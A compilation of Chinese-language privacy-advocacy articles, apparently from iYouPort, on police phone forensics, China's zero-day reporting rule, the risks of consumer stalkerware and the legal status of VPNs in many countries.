- 《警察查手机的东西长什么样？—— 从技术角度看移动设备取

证》
- 《让政府机构从您使用的应用程序中提取大量数据的秘密技术：云取证》

“我们经常看到的理由是警察宣称「贩卖毒品或使用毒品的人也会使用手机」”，报告的主要作者 Logan Koepke 说，“但是，当然，每个人都会使用手机。这根本不成为随意入侵的理由。”

警方可以要求某人在与案件有关的情况下解锁他们的手机，这被称为“同意搜查”。它们的成功率因地区不同而大相径庭。Upturn 发现，在德克萨斯州哈里斯县警长办公室进行的1500多次提取中，有53%的人表示 “同意”。但在亚特兰大，在近1000次的提取中，只有10%左右的提取是在当事人 “同意” 的情况下进行的。

简单说，不管你同不同意，搜查都会进行。

理论上当机主拒绝解锁手机时，警方必须寻求搜查令。2016年，苹果公司反对FBI提出的要求，即 允许警方访问一部被锁定的 iPhone 5C，之后FBI求助于一家外部数字取证公司，该公司帮助间谍们绕过了锁定。2018年的消息是《警方购买黑客工具 GrayKey 解锁 iPhone》。

在其报告中，Upturn 审查了数百份要求使用移动设备取证的搜查令，报告的作者说，警方往往只提供了想要解锁目标手机的脆弱理由。此外，搜查令通常不限于使警方找到手机的具体信息；相反，搜查令和移动设备取证技术允许警方使用目标手机上的任何信息来对付嫌疑人。

2017年，距离明尼阿波利斯约30分钟车程的明尼苏达州库恩急流城的警方接到报案，称两名少年在麦当劳里为70美元打架。在 Upturn 获得的搜查令中，一名警官表示，数据将确定这些私密通信 “是否可能包含对70美元的讨论”。警方赶到后，逮捕了这两名少年，并最终获得了他们手机的全部副本，包括他们的所有通话记录、短信和邮件内容、网络搜索记录和**GPS**数据。

Upturn 报告没有详细说明提取的数据是否会导致额外的指控。但是，该团队发现，从手机中提取的数据很少会被警察删除。新墨西哥州、犹他州和加利福尼亚州的政策要求删除与调查不直接相关的数据，但是绝大多数州没有这样做。在其他州，警方保留从目标手机中提取的数据被认为是合法的，即使机主从未被定罪。

“我们从一些[辩护律师]那里听到的是，为了获得手机的访问权，可能会进行逮捕，这样目标人就有可能被指控更高的罪行或更严重的罪行”，Koepke 说。

Koepke 说，这些案件中的警察表示他们是根据所谓的 “一览无余原则“ 的不当解释行事的，这允许警方在寻找一项犯罪的证据时寻找其他所有罪行的证据。就如同，警察通过汽车寻找被盗的信用卡，然后发现可卡因。

但移动设备取证的功能非常强大，Koepke 说它们可以让警方广泛地获取一个人的私人数据。正如 Upturn 的报告所发现的那样，这些类型的授权令导致执法部门不仅调查了可能的犯罪行为，而且了解到了被监控者的完整私生活。

“在数字领域，什么是或不是在明处的概念已经完全不受限制，这主要是因为移动设备取证工具允许你按照自己的意愿对数据进行分类”，他说。

虽然 Upturn 发现了近5万个案例，44个警察部门曾从公民手机中提取数据，但 Koepke 认为真实的总数比这要高得多。一些全国最大的警察部门抵制该组织的记录请求。纽约、巴尔的摩、华盛顿特区和波士顿的警察部门都拒绝提供他们是否使用移动设备取证工具的细节。Koepke 说，获取这些记录的诉讼正在进行中。〇

How Police Can Crack Locked Phones—and Extract Information

原文

新法律正在帮助中国政府储备零日漏洞 - iyouport

中国-半壁高堡奇人你应该了解的现实

对我们这些用户来说，最直接的威胁可能是，即便您使用外国技术产品，可能也会被中国政府控制的漏洞利用所入侵，如果零日漏洞是在中国最先发现的话。这只能赌。

正如我们一直在强调的，这是21世纪最重要的战争；全世界最大的玩家只有那4个国家，其中包括中国。而现在，中国想要利用立法以从中获得优势。但是 ……

从2021年9月1日开始，中国政府将要求任何发现零日漏洞的中国公民必须将细节传递给中国政府，并且不得向中国以外的任何第三方出售或提供相关信息（除了漏洞产品的制造商）。

美联社（AP）在2021年7月13日发表的一份报告中提供了简要的细节。除了声明之外，没有提供消息来源，“中国网络空间管理局以及公安部和工信部发布的规则说，任何人不得 ‘收集、出售或发布网络产品安全漏洞的信息’”。不清楚该报告指的是私人研究被禁止，还是私人研究的结果被控制。后者是最有可能的。

美联社将这一行动描述为 “进一步加强共产党对信息的控制”。这不太可能是新规则的主要动机，因为政府已经对数据有了全面且严苛的控制：公司不得在中国境外储存中国客户的数据；在中国销售路由器和其他一些网络设备的外国公司必须向监管机构披露任何加密功能的运作方式。在这里看到具体解读《中国的新 “密码法”如何终结了加密》。

2017年颁布的中国国家情报法第7条已经要求中国国民支持、协助和配合国家情报工作。两个主要的情报机构，即国家安全部（MSS）和中国人民解放军战略支援部队（PLA），在中国几乎所有与国家有关的APT团体背后都有他们的背景。因此，中国国民必须支持中国的网络行动，这已经是隐含的事实。

新规则明确了这种支持 —— 而且更可能与中国以情报为主导的网络行动有关，而不是与加强对内部信息控制的愿望有关。如果这是真的，那么值得探讨的是，该规则可能对世界其他地区产生什么样的影响。

最明显的假设是，中国发现的 “零日漏洞” 将被输送到中国的APT团队，而不会被美国国家安全局或俄罗斯的国家行为者购买。《这就是他们给我讲述世界末日的方式》

ThycoticCentrify 的首席安全科学家和首席信息安全官约瑟夫·卡森同意这一观点，他说：“我预计中国政府会将任何发现的安全漏洞武器化，以增强中国的网络安全能力。这项新规定将收紧安全研究人员之前拥有的任何灵活性，并将迫使他们与中国政府分享安全研究，限制进一步的披露”。

BreachQuest 的联合创始人兼首席技术官杰克·威廉姆斯（Jake Williams）基本上同意，但有一个附加条件：“政府几乎可以肯定会将这些漏洞输送给中国政府自己的威胁行为者。这可能不会导致攻击数量的增加，但很可能增加攻击的复杂性”。他补充说：“作为一个附带说明，中国政府的组织能够缓解所发现的漏洞的防御性优势可能远远超过任何进攻性收益。”

然而，事实是，中国的APT可能会获得比他们已经拥有的更多的零日漏洞储备。《美国、中国和俄罗斯：暗网最强大的民族国家骇客》

还会有其他不太引人注目的涓滴效应。卡森注意到了对在中国进行开发的西方组织的不利影响，因为中国政府可能会抢在他们之前就知道他们产品中的安全漏洞。虽然该规则规定，漏洞可能会被披露给外国产品的制造商，但不确定这是否会发生。

如果中国的研究人员确实不愿意向西方制造商披露他们的发现，这将影响被发现的漏洞的数量（这些漏洞被中国的APT知道，但制造商仍然不知道）。这也有可能是一个很大的数字。仅在 2021年7月13日 Adobe 的 “Patch Tuesday” 公告中，来自UCAS的徐鹏(音)和来自奇安信技术研究所的王彦豪(音)就是被 Adobe 记入其工作的研究人员之一。

新的中国规则也可能对漏洞赏金计划和 Pwn2Own 黑客竞赛产生影响 —— 这两个项目通常都有来自中国的人参加。目前还不清楚是否明确禁止参与漏洞赏金计划，因为这相当于 “出售” 研究，但它可能会被豁免，因为理论上讲，这些发现是提供给产品制造商的—— 这是允

许的。然而，当研究人员可以将零日漏洞卖给另一方，而后者提供的报酬超过了赏金的数额时，赏金计划就已经被绕过了—— 这也是被明确禁止的。

同样的基本论点也适用于 Pwn2Own 比赛。虽然中国参赛者数量的减少不会影响赏金计划和黑客竞赛的继续进行，但它可能会影响发现和披露的漏洞数量。

但是，这也可能会对中国产生反弹。威廉姆斯认为，“最大的可能问题之一是人才流失。如果中国的研究人员可以从他们在其他地方的工作中获得更加丰厚的利润，但在中国却无法获得，他们为什么要留下来？这可能会在短期内帮助中国，但从长期来看却会损害他们”。〇

New Law Will Help Chinese Government Stockpile Zero-Days

原文

新的手机间谍软件监视范围包括QQ和微信 - iYouPort

你应该了解的现实你我的灾难现实自我保护措施-技术技巧以防身

以及关于大多数人都能使用的间谍软件的更多知识

「图」

「图」

我们曾经介绍过这种东西，以及防御方法，见《如果你的手机被安装了间谍软件怎么办》。

一说到间谍软件，也许人们会首先想到以色列NSO、HackingTeam、Black Cube 等等（从这些链接中看到具体内容）他们专门制作出售给政府的间谍软件，以迫害活动家、人权捍卫者和异议人士。但今天说的不是这些。

而是更为危险的间谍软件 —— 因为它们很便宜，是消费级，也就是说任何人都可以使用。

NSO等邪恶公司出售的间谍工具非常贵，基本上只有当权者能买得起；也因此，这类间谍软件不会大规模使用。并且对于咱们这些防御者来说，对手是单一的；然而，这篇文章中即将介绍的间谍软件几乎任何人都买得起，也就是说，咱们这些人的对手范围之大，可能完全无法估量。

所以您知道，它最危险。

「图」

「图」

上图中这本书在这里下载：https://www.patreon.com/posts/nin-ke-neng-bu-38187564

什么是手机间谍软件？

移动电话间谍软件是一种混合软件和监视服务，用于跟踪移动设备、手机平板电脑和计算机上目标人的活动。开发这类间谍软件的公司声称他们服务于希望跟踪孩子活动的父母、想要监视员工行为的雇主等等。

但是，你知道，它可以被任何人使用 —— 尤其是，使用这种东西的人大多数不会是善意的。

您有仇人吗？有竞争对手吗？有不甘心被甩的前任吗？有疯狂的邻居吗？您曾经抢了谁的蛋糕却没意识到吗？…… 或者，您是否曾经炫富召来了贪婪者？您是否相貌出众能力超群，吸引了疯狂的追求？…… 这个列表可以继续延长，包含您能想到的和没想到的一切可能性。

- 关于雇主监视员工为什么很可怕，见《高科技动产奴隶制如何扼杀反抗》

手机间谍软件如何用于跟踪你？

如上所述，这种间谍软件用于跟踪和监视移动设备、平板电脑和计算机上的活动 —— 被监视的活动包括：诸如打入和打出电话、发送接收的短信、任何在线活动、社交媒体活动、**GPS**位置等等。

一般来说这类间谍软件都 *至少* 执行以下操作：#跟踪传入和传出的电话，包括时间戳和持续时长。

- 捕获传入和传出的短信、以及目标人的社交媒体活动。
- 记录网络浏览活动，包括曾经点击过的所有网站的**URL**。
- 复制目标人已发送或已接收的视频的任何图片。

1. Ikeymonitor

- Ispyoo
- Mamabear
- Mobicip
- MobiStealth
- Spyera
- Spyzie
- Teensafe

1. 《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》

- 《让政府机构从您使用的应用程序中提取大量数据的秘密技术：云取证》
- 《警察查手机的东西长什么样？—— 从技术角度看移动设备取证》

1. 参见这里的攻击方式《如何全面间谍任何人的智能手机私密活动—黑客主义行动力（3）》

总之，您的对手并不只有政府间谍。并且，已经有越来越多的案例显示，"随着私人维稳公司的不断增加"，对异议人士的迫害更可能来自受雇的专业级流氓，从而令政府逃避责任。这些流氓什么都干得出。○

原文

有多少国家禁止或限制使用 VPN？ —— 全球互联网审查分布图：VPN 在你的国家合法吗？

你应该了解的现实老大哥的真面目

【2017年10月15日存档】

VPN 是否合法取决于你在哪个国家。然而很多管制和限制是不透明的，处于黑色地带。

以下的研究列举了 196 个国家的审查法律，及其对 VPN 的管制和限制状态。

10 个禁止或限制 VPN 使用的国家/地区

1.中国：只允许使用被政府批准的 VPN

明确的文件是从 2018 年 3 月开始，事实上在至少三年前就有这一动议，虽然目前为止仍没有切实完成这一审查。官方给出的理由是“限制非法跨境业务活动”。这意味着：VPN 服务提供商需要首先获得中国政府的批准（并且很可能违背 VPN 的目的）。

“私自访问国际网络或通过”非法渠道“或未经授权提供相关服务的个人”可能会被罚款高达15,000元人民币（约合2200美元）。

2、俄罗斯：只有政府批准的VPN才可以使用

开始自 2017年11月。官方给出的理由是，为了防止“极端主义材料”在互联网上的传播；旨在阻止“非法内容”的访问，并不打算对守法公民施加限制。

这意味着：如果您使用的 VPN 不受政府批准并被捕，则会受到特定处罚：用户 700,000卢布（12,000美元）为服务提供商提供 30 万卢布（5,100美元）。

3、伊朗：只允许政府批准的 VPN

开始自 2013 年。据称是：起诉违反国家法律的用户，并在司法部门的监督下将罪犯带到国家法院。据报道，政府批准的 VPN 使用导致了对私人数据的监视和审查。

意味着：使用不符合伊朗法律的 VPN 可能会导致 91 天甚至长达1年的监禁。

然而，尽管伊朗有大量的“非法” VPN 用户，但实际的逮捕非常罕见。为什么？因为，就像我们之前解释的那样，伊朗政府只是利用这部法律来起诉政治反对者，而不怎么在乎普通网民浏览 Facebook。

4、阿联酋‘’；对个人进行限制

开始自 2012 年。其中一个重要原因是人们使用 Skype，WhatsApp，Viber 或其他免费 VOIP 服务，而冷落了阿联酋的大型电信公司。

意味着：任何使用 VPN 伪装 IP 的用户一旦被发现将根据犯罪性质处以监禁或高达 40 万美元的罚款。使用 VPN 来使用 Skype 也可能导致惩罚。值得一提的是，银行、公司和机构可以自由使用VPN，被禁止的只是个人。

5、阿曼：只允许政府批准的 VPN 使用

从 2010 年开始。很容易理解为什么 TRA 禁止使用VPN，因为在这个国家的主要用途是绕过 ISP 审查和禁止 VOIP 的使用。少数人也使用 VPN 服务伪造他们的 IP 位置，以便仅使用在某个地区提供的服务

意味着：拟议的法律规定，个人违反者将被罚款 500 阿曼里亚尔（1,300美元）没有适当许可证的公司罚款 1000 阿曼里亚尔（2,600 美元）。“如果您使用政府批准的 VPN，您的所有日志将被保留。

6、土耳其：限制

从 2016 年开始。防止人们通过 VPN 服务规避政府施加的审查制度。

意味着：使用 VPN 可能会导致一些问题，但仍有一些 VPN 能够绕过土耳其的网络封锁。

7、伊拉克：全面禁止

从 2014 年开始。官方称，禁止 VPN 限制和阻止 ISIS 操纵社交媒体。然而以阻止 ISIS 为借口，伊拉克已经从禁止 VPN 到阻止社交媒体和聊天应用实施了一系列的严重的审查。尽管如此，并没有阻止政府官员和政府拥有的机构违反法律并使用这些工具。

意味着：VPN 服务在伊拉克被禁止声称在线监控恐怖分子的活动。事实上对居住在该国的所有人都有影响。

8、土库曼斯坦：全面禁止

从 2015 年开始。是为审查外国媒体。这一切都与政治有关。土库曼斯坦只有一个 ISP，属于政府。这是一个全面审查的问题。

意味着：尝试使用代理服务器和 VPN 会被检测到，并被阻止; 使用者将受到行政处罚，并被召集到国家安全部进行“预防性对话”，面临恐吓。“

9、白俄罗斯：全面禁止

2015 年开始。白俄罗斯政府将 Tor 和 VPN 看作是转发流量的服务，以绕过政治家可能采取的任何限制。白俄罗斯也为自己的公民封锁了大部分外国网站。尽管合法的Tor／VPN使用案例非常丰富，但政府认为封锁这项服务是最好的选择。

意味着：使用VPN绕过地理限制可能会导致罚款。

10、朝鲜：全面禁止

在这个问题上很难找到关于朝鲜的信息。作为游客，您可以使用 VPN 软件。但朝鲜禁止外交官使用互联网。

其他国家的审查状态和 **VPN** 合法性

」 阿富汗政府最近发布了新闻，要求互联网服务提供商过滤被认为“令人反感”的某些类别的网站，并彻底禁止他们认为反感的所有网站。尽管如此，在阿富汗使用 VPN 仍然是合法的。

」 阿尔巴尼亚宪法保护公民的言论自由和新闻自由，并没有记录显示政府试图侵犯这些权利以及公民使用互联网的权利。 VPN 在阿尔巴尼亚的使用是合法的。

」 阿尔及利亚的立法要求互联网服务提供商对在线内容进行监视，并

且有记录显示阿尔及利亚政府阻止某些网站（包括政治反对派网站）的事例，以及阿尔及利亚政府阻止所有社交媒体“防止在全国考试中作弊”。但是，在阿尔及利亚，VPN 的使用仍然合法。

」 约有79%的安道尔人使用互联网，使其成为互联网普及率最高的国家之一。然而，在安道尔没有文件记录显示互联网审查，安道尔使用 VPN 是合法的。

」 安哥拉试图审查媒体和互联网的访问，安哥拉总统甚至公开宣布要打击社交媒体的计划，但是并没有试图阻止该国的 VPN 使用。

」 安提瓜和巴布达也没有互联网审查报告，或者政府侵害互联网的报告。VPN 在安提瓜和巴布达合法。

」 阿根廷是一个尊重其公民互联网权利的相对自由的国家，但该国最近因其拟议的国家“反歧视法法案”改革而受到严厉批评。专家称，改革措施含糊不清，政府很容易借此法案以审查公民。不过，在该国使用 VPN 是合法的。

」 亚美尼亚已经有文件证明互联网审查制度的存在，OpenNet Initiative（ONI）在对该国的一级 ISP 进行测试后得出结论：“普遍过滤正在发生”。然而，在亚美尼亚，VPN 的使用是合法的。

」 虽然澳大利亚最近通过了立法，赋予其政府阻止人民访问某些网站的权力，但 VPN 并未成为攻击目标。在澳大利亚使用VPN是合法的，许多人使用 VPN 来绕过新立法所实施的一些限制。

」 奥地利宪法保护其公民的言论自由和新闻出版，这是奥地利政府所尊重的。奥地利几乎没有参与任何审查用户的企图，在奥地利使用 VPN 是合法的。

」 阿塞拜疆正在积极审查互联网，阿塞拜疆政府逮捕博客作者、惩罚在线活动人士，甚至严格审查社交媒体网站。但是，政府没有采取行动阻止在该国使用 VPN。

」 巴哈马政府有一些关于互联网审查的尝试。但是在巴哈马，VPN 的使用目前仍然合法。

」 巴林政府严格地审查互联网，但在该国使用 VPN 仍然合法，目前为止。

」 孟加拉国政府多次发布禁令，禁止包括 Facebook 和 WhatsApp 在

内的各种网站和社交媒体，并且政府在试图实施禁令时甚至错误地关闭了互联网。但是，孟加拉国使用 VPN 是完全合法的。

」 没有可靠的报告显示巴巴多斯政府正在积极审查互联网，目前为止使用 VPN 是完全合法的。

」 尽管比利时过去曾报道过对互联网进行审查，但比利时使用 VPN 是完全合法的。

」 有报道称政府限制互联网接入。但是，伯利兹使用 VPN 是合法的。

」 还没有报道显示政府试图审查互联网。目前，贝宁使用 VPN 是合法的。

」 不丹政府被发现以道德为名组织内容。但还没有任何报道显示审查已经扩展到政治内容。目前在不丹使用 VPN 是合法的。

」 研究显示，超过一半的玻利维亚记者遭受审查，高层政治领导人积极推动监管社交媒体，玻利维亚并不是最自由的国家。但是，玻利维亚使用 VPN 是合法的。

」 尽管最近通过的立法规定政府有权将社交媒体发布的内容定为“扰乱公共秩序”，但目前为止还没有对政府主动审查互联网的文件记录。波斯尼亚和黑塞哥维那使用 VPN 是合法的。

」 目前没有关于政府积极审查互联网的文件报告，博茨瓦纳目前使用 VPN 是合法的。

」 巴西在 2016 年发布了对部分社交媒体的禁令，其中包括 WhatsApp。巴西政府还试图通过立法，允许其审查该国的互联网。但是，在巴西使用 VPN 是合法的。

」 有报道称政府正在积极监视互联网的使用情况和公民的活动。但是，目前在文莱使用 VPN 是合法的。

」 保加利亚政府积极监测公民的互联网使用情况，并试图通过立法授予国家权力来控制互联网通信。但是，保加利亚目前使用 VPN 是合法的。

」 只有9.4%的人口使用互联网，布基纳法索的互联网普及率非常低。在该国使用 VPN 是合法的。

」 在 1000 万公民中只有2%的人使用互联网，但是布隆迪政府在实施互联网限制方面并没有懈怠。一旦宣布禁止 WhatsApp 和 Viber，布隆迪将积极审查公民的互联网接入。但是，在布隆迪使用 VPN 是合法的。

」 尚未有佛得角政府试图审查互联网的任何文件记录。佛得角使用 VPN 也是合法的。

」 柬埔寨一再宣传要积极努力地审查互联网，包括反对派成员因 Facebook 的帖子而被捕。柬埔寨政府甚至通过了立法，赋予政府更多的权力来监视和审查互联网。但是，在柬埔寨使用 VPN 仍然合法。

」 喀麦隆最近在该国讲英语的地区阻止了互联网接入，这一举动影响了20%的喀麦隆人。喀麦隆政府也公开对互联网用户发布威胁。但是，喀麦隆的 VPN 使用是合法的。

」 虽然顶尖的电信专家，尤其是罗杰斯通信公司的 David Purdy已经呼吁加拿大政府阻止北美国家的 VPN，但还没有采取行动。目前为止加拿大使用 VPN 仍然是合法的。

」 中非共和国政府多次试图对公民进行审查，其中包括该国禁止电话短信（SMS）的惊人消息。但是，在该国使用 VPN 是合法的。

」 乍得是又一个政府积极审查公民互联网接入的国家—尤其是在选举期间。然而，政府没有采取行动来禁止或非法使用该国的 VPN。

」 智利因积极干预和审查公民上网而闻名。但是，智利使用 VPN 是合法的。

」 尽管哥伦比亚最近提出禁止比特币，但互联网在这方面一直蓬勃发展，政府一直在做不干涉的态度。哥伦比亚使用 VPN 是完全合法的。

」 目前还没有关于科摩罗政府试图审查互联网的文件记录。科摩罗目前使用VPN是合法的。

」 当涉及到刚果民主共和国和互联网时，不要让这个国名欺骗你，在互联网自由方面它没有真正的民主。政府因其实施的众多封锁互联网和主要网站及审查社交媒体的行为而出名，但幸运的是，VPN 尚未成为非法。

」 刚果共和国政府因积极关闭和审查互联网而闻名，尤其是在试图阻止抗议活动时。在政府积极审查互联网的同时，VPN 的使用尚未成为非法行为。

」 虽然哥斯达黎加曾为其所谓的“网络犯罪法”的提出而爆红新闻，许多专家指责政府威胁互联网自由，但还没有任何可信的文件足够显示哥斯达黎加政府试图审查互联网。在这个国家使用 VPN 是合法的。

」 没有任何可信的报告显示科特迪瓦政府试图审查互联网。在这个国家使用 VPN 是合法的。

」 克罗地亚政府也没有被证明干预其公民上网。 VPN 在克罗地亚也是合法的。

」 虽然互联网在古巴这个加勒比国家受到严格审查，但 VPN 的使用尚未被视为非法。

」 互联网不受塞浦路斯政府的任何限制，在该国使用VPN是合法的。

」 当捷克政府试图为互联网用户引入一种“互联网护照”（即每个互联网用户的独特身份）时，最近引起了很大的争议。尽管如此，在该国使用VPN仍然合法。

」 丹麦政府过去曾积极阻止网站发布消息，最近他们推出了一项法案，让丹麦政府可以主动审查互联网。尽管如此，政府并没有试图在该国使用VPNs非法。

」 由于 吉布提唯一的互联网服务提供商由政府拥有和控制，并且有着深刻的新闻管制的历史，这个国家在互联网方面并不是很友好。但是，VPN 的使用仍然合法。

」 目前还没有政府试图审查互联网的报告，在多米尼加，VPN 的使用仍然是完全合法的。

」 不久前，厄瓜多尔互联网服务提供商协会与厄瓜多尔政府合作限制了公民的互联网接入，消息被泄露给媒体。但是，在这个国家使用VPN仍然合法。

」 埃及有侵犯人权的历史，侵犯公民的知情权权利。 2015年12月 Facebook 的服务在该国被禁止，因为该公司拒绝让埃及政府有能力监视公民使用其数据（只因美伊关系，而不是扎克伯格的道德）。尽管如此，VPN 的使用仍然是非法的。

」 虽然在萨尔瓦多使用 VPN 是完全合法的，但该国逐渐减少的信息自由和政府对互联网的干扰的消息不断传入媒体。

」 赤道几内亚被列为世界上审查最多的国家之一，其政府及其家庭积极垄断新闻界，限制新闻自由。不过，在这个国家使用VPN仍然是完全合法的。

」 厄立特里亚因审查而著名，正式成为世界上审查最多的国家这一。正如预期的那样，政府在互联网上不惜余力地审查其公民。但是，在这个国家使用VPN是完全合法的。

」 在爱因斯坦自由排行榜上排名第二的国家，爱沙尼亚是世界上最自由、最有线和技术先进的国家之一。根据 Internet Freedom 的说法，这个国家被视为“自由开放的互联网接入模式，作为社会的发展引擎”，并没有禁止使用VPN。

」 埃塞俄比亚是个对互联网很不友好的地方，特别是考虑到埃塞俄比亚政府不仅禁止使用 VoIP 服务，而且实际上将其定为长达15年的监禁刑期。

」 没有可靠的报告证实斐济政府审查互联网。斐济政府也没有禁止使用VPN。

」 虽然芬兰没有主动审查互联网，但当政府执行一项政策—以过滤儿童色情制品时，人们认为没有正确实施，并且错误地过滤了网站，该消息充斥新闻。但无助于芬兰最高法院裁定，裁定认为对批评者进行审查是合法的。但是， VPN 的使用还没有违法。

」 法国已制定政策，通过积极监测其公民的互联网来“制止恐怖主义和仇恨”。许多人担心这些政策正在被过度地使用，而且审查制度正在积极兴起—仅在**2016**年，就有**2,700**多家网站被法国当局封锁。在这个国家使用VPN是合法的。

」 虽然我们听说加蓬政府在危机期间实施宵禁，但我相信我们中很少有人熟悉互联网宵禁的想法—至少在加入加蓬之前。该国一直在制造每天12小时的互联网宵禁的新闻，公民无法在夜间使用互联网。尽管如此，在该国使用VPN仍然合法。

」 就在最近，冈比亚在选举前关闭了互联网接入和国际电话。尽管如此，在冈比亚使用VPN仍然是合法的。

」 格鲁吉亚宪法法院在2016年4月扭转国家安全局直接访问其用户的

电信数据的权力方面取得了巨大进展，但就审查而言，这个国家并不完全是无可指责的：格鲁吉亚政府曾经简要地就阻止 WordPress 和 Youtube 发布消息。在这个国家使用VPNs是合法的。

」 德国审查互联网的企图一直出现在新闻中，最近德国司法部长甚至提出立法，允许政府监视和审查社交媒体网站。不过，德国使用VPN是合法的。

」 作为非洲民主的榜样之一，VPN 在加纳的使用完全合法。然而，不久之前，世界惊讶地发现，加纳警察局长宣布打算在投票当天关闭社交媒体，以防止社交媒体被用来“发送可能破坏该国稳定的误导性信息”。加纳长期以来一直被视为非洲的民主榜样，许多人对这一消息感到惊讶。不过，这个西非国家最终没有广播社交媒体。

」 研究显示，希腊政府最近发起了大规模的内容封锁，相当于互联网审查。尽管如此，VPN在希腊仍然是合法的。

」 格林纳达曾通过法律规定，在线侮辱他人或使用技术进行“恶作剧”会被送入监狱，被罚款高达37,000美元。无论如何，VPN在国内的使用仍然合法。

」 危地马拉因其经常违反公民言论和出版自由而闻名，尤其是通过合法化威胁在线隐私的若干电子监视技术。但是，在该国使用VPN是合法的。

」 没有可靠的证据表明政府限制接入互联网，目前 VPN 在几内亚的使用是合法的。

」 几内亚比绍没有被显示互联网受到干扰，目前在该国使用VPNs是合法的。

」 圭亚那政府不限制对互联网的访问，目前在该国使用VPN是合法的。

」 约有12%的海地人使用互联网，并且没有关于海地政府积极试图限制互联网的文件记录。在海地使用VPN是完全合法的。

」 洪都拉斯有着从事媒体审查的名气，对互联网的审查也不例外。尽管如此，VPN的使用目前在该国仍然合法。

」 不久之前，匈牙利通过法律实际上禁止该国的端到端加密，并且由于匈牙利通过了媒体和互联网审查法，欧洲各地的抗议活动一度爆

发。不过，匈牙利使用VPN是合法的。

」 冰岛总统 Guoni Thorlacius Johannesson 曾经说过如果他有机会就会禁止夏威夷比萨饼，但幸好他所领导的国家还没有禁止或考虑禁止使用VPN。

」 印度最近发布消息称，政府向互联网用户发出警告，称他们可能面临长达三年的监禁，加上访问被禁止网站的罚款4,465美元。印度法官澄清这只是一个沟通不畅，而且访问“禁止”网站的行为并非违法。无论如何，该国尚未禁止使用VPN。

」 Youtube，Reddit和Vimeo只是印度尼西亚政府封锁的一些顶级网站。值得庆幸的是，这些网站仍然可以通过VPN访问，因为印度尼西亚政府尚未使VPN非法使用。

」 人们普遍认为，爱尔兰存在互联网审查制度，但在欧洲岛上使用VPN是完全合法的。

」 以色列最近因为推出一项法律来使政府能够阻止所谓的“煽动性”内容而成为新闻。然而，这个国家对于互联网审查或干预的方式很少。VPN的使用也是合法的。

」 意大利最近提出了一项法律，要求“现场管理人员”根据受害者的个人和社会状况审查嘲讽行为—专家称这项法律为引入审查制度的一种方式。关于意大利政府干预互联网的文件并不多，目前在该国使用VPN是合法的。

」 目前还没有关于牙买加政府审查互联网的可靠报告。在该国使用VPN也是合法的。

」 日本的互联网普及率高达90％以上，有报道称一些立法“不成比例地惩罚特定的在线活动”。然而，尚未有可靠的报道显示政府试图使用互联网审查其公民，在这个国家使用VPN是合法的。

」 虽然有报道称约旦“轻”审查制度，特别是在被视为对“国家安全”构成威胁的政治问题上，该国与中东其他国家相比确实做得很好。在该国使用VPN也是合法的。

」 哈萨克斯坦是互联网审查活跃的国家之一。事实上，南哈萨克斯坦地区政府曾经一度切断互联网连接，并暂时封锁了移动电话网络。不过，在这个国家使用VPN仍然合法。

」 肯尼亚是少数几个没有政府审查制度的非洲国家之一。 OONI 最近进行的为期五个月的研究几乎没有发现该国的互联网审查痕迹。肯尼亚使用VPN也是合法的。

」 基里巴斯的互联网普及率很低，只有约 11.5% 的国民使用互联网，当然也没有互联网审查或政府试图限制其公民在这个大洋洲国家上网的迹象。在这个国家，VPN的使用也是合法的。

」 为了让政府实时访问与电子通信有关的所有数据—电信截取法—这是几年来由科索沃政府提出的，他们的想法各异。有人认为这是一种审查形式，而另一些人则认为这是一种“打击犯罪”的有效方式。然而，一般来说，在科索沃几乎没有政府审查或互联网干扰的报道，并且在该国使用VPNs是合法的。

」 在审查互联网方面，科威特非常活跃，专家一直批评其法律，认为这些法律可能被用来限制互联网言论自由和针对在线活动。尽管如此，在该国使用VPN仍然合法。

」 吉尔吉斯斯坦正在进行互联网审查—网络新闻记者因发布批评国家官员的内容而面临制裁—以及政府主动滥用其监督权力的报道（例如，泄露反对派人物之间的电话交谈）。但是，在这个国家使用VPN是合法的。

」 老挝在审查公民和限制他们的互联网活动方面过于活跃，以至于还监测公民在该国境外的活动—特别是当它涉及到“威胁国家安全”时。“使用VPN虽然在该国是合法的。

」 拉脱维亚是一个自由的国家，没有关于互联网审查或政府干预公民互联网使用情况的文件记录。它甚至主持了俄罗斯最自由的网站。在这个欧洲国家，VPN 的使用也是合法的。

」 黎巴嫩的 VoIP 使用也是非法的。谢天谢地他们还没有考虑过禁止VPN。

」 莱索托的互联网普及率很低，只有不到四分之一的人使用互联网。政府试图审查其公民的互联网使用情况的记录也很少。 VPN 在该国也是合法的。

」 利比里亚的限制性互联网立法和对公民的积极监视，导致它被列入保护记者委员会（CPJ）的新闻自由受限的国家名单。不过，该国尚未禁止使用VPN。

」 由于有人权滥用的历史和积极的互联网审查和政府干预，利比亚人在面对政府审查方面仍然没有自由。然而，VPN 的使用在这个国家完全合法。

」 列支敦士登在新闻自由方面的评级非常高，政府也没有积极努力审查互联网。在这个国家，VPN的使用也是合法的。

」 立陶宛在新闻和互联网自由方面是一个相对自由的国家，但最近修订的一项关于限制该国互联网上赌博的法律，带来了对审查的猜测。在该国使用VPN是合法的。

」 卢森堡在使用互联网方面是一个普遍自由的国家，并且没有可信的文件报告称政府正在审查互联网。在该国使用VPN也是合法的。

」 没有证据表明互联网审查，或政府试图限制公民在马其顿访问互联网，VPN的使用目前在该国是合法的。

」 马达加斯加的互联网普及率非常低，尽管偶尔对其他形式的媒体进行审查，互联网一直相对自由。在这个国家，VPN的使用也是合法的。

」 目前还没有关于马拉维政府积极审查互联网或干扰公民互联网使用的可靠报告。在该国使用VPN也是合法的。

」 尽管马来西亚总理纳吉布拉扎克在2011年4月曾承诺—马来西亚永远不会审查互联网，但马来西亚在2015年开始封锁报道总理贪污丑闻的网站。不过在该国使用VPN仍然合法。

」 虽然马尔代夫政府经常阻止其认为“不道德”或“反伊斯兰教”的网站，但他们尚未禁止使用VPN。

」 马里目前的互联网普及率非常低，而且该国不得不应对极其缓慢和不可靠的连接。政府没有真正干预公民的互联网使用，并且在该国使用VPN是合法的。

」 就在最近，成千上万的人走上马耳他街头抗议马耳他政府提出的诽谤法案，人民认为这将成为在网上审查马耳他公民的借口。马耳他政府反驳说，他们对检查互联网“没有兴趣”。到目前为止，马耳他政府还没有积极干预公民的互联网使用，VPN的使用在国内依然合法。

」 虽然马绍尔群岛最近遭受了10多天的互联网关闭，但这似乎是一个硬件问题，而不是试图限制公民的互联网使用。政府并未积极尝试

限制公民的互联网使用，VPN在国内仍然合法。

